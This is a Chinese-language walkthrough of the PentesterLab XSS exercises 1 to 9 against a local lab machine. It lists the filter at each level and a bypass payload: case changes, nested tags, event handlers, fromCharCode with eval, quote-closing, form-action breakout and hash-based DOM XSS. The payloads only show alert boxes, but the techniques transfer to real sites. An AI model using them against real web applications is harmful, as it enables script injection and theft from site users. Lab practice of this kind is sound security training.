Pentester Lab闯关记录1(XSS)
xss example1
未执行任何过滤,直接使用以下payload:
<script>alert('xss')</script>
xss example2
过滤了<script>
,使用大小写绕过构造,payload如下:
<sCript>alert('xss')</sCript>
xss example3
大写无法绕过,双写绕过,payload如下:
<scr<script>ipt>alert('xss')</s</script>cript>
xss example4
检测到script就报error,判断对提交内容进行了匹配,匹配到script就报error,因此使用界面元素进行注入,payload如下:
<textarea placeholder=键盘点击触发xss onkeypress=alert("xss")></textarea> 或者
<img src=-1 onerror=alert("xss")></img>
xss example5
检测到alert就报error,使用编码的方法替换alert(eval()用于计算字符串,并执行其中的javascript代码),payload如下:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
xss example6
查看网页HTML代码中有以下代码
<script>var $a= "hacker";</script>
因此可以使用闭合的方法进行注入。构造出以下payload:
<script>var $a= "";alert("xss");"";</script> 输入参数为:";alert("xss");"
xss example7
查看网页HTML代码中有以下代码:
<script>var $a= 'hacker';</script>
和上一题类似,知识换成了单引号,使用如下payload即可实现注入:
<script>var $a= '';alert(1);' ';</script> 输入参数为:';alert(1);'
xss example8
在url后添加\123发现其出现在了源代码的from中:
初步判断可以围绕以下代码构造payload:
<form action="/xss/example8.php/123" method="POST"> #在url末尾添加的、123出现在了from中
Your name:<input type="text" name="name">
<input type="submit" name="submit">
尝试构造以下payload实现注入:
<form action="/xss/example8.php/"><script>alert("xss")</script>< method="POST">
payload为:/"><script>alert("xss")</script><
发现弹窗成功!
此时的网页源码如下:
可以发现代码已经被注入HTML源代码中。
xss example9
首先查看HTML源码:
发现如下代码:
<script>
document.write(location.hash.substring(1));
</script>
这里是直接指将锚点内容布局在当前页面上,url中的#即锚点位置,所以理论上可以直接在#之后构造payload:
http://192.168.202.131/xss/example9.php#<script>alert("xss")</script>
但是测试没有成功(提交之后需要再次刷新)
最终在《web前端黑客技术揭秘》中找到了答案,不同浏览器的url编码存在差异,而这一题就涉及到这一不同浏览器的特性,这里没有成功弹窗就是因为chrome与firefox编码了<>这两个特殊符号,最终尝试在IE上测试,发现成功弹窗!
结束!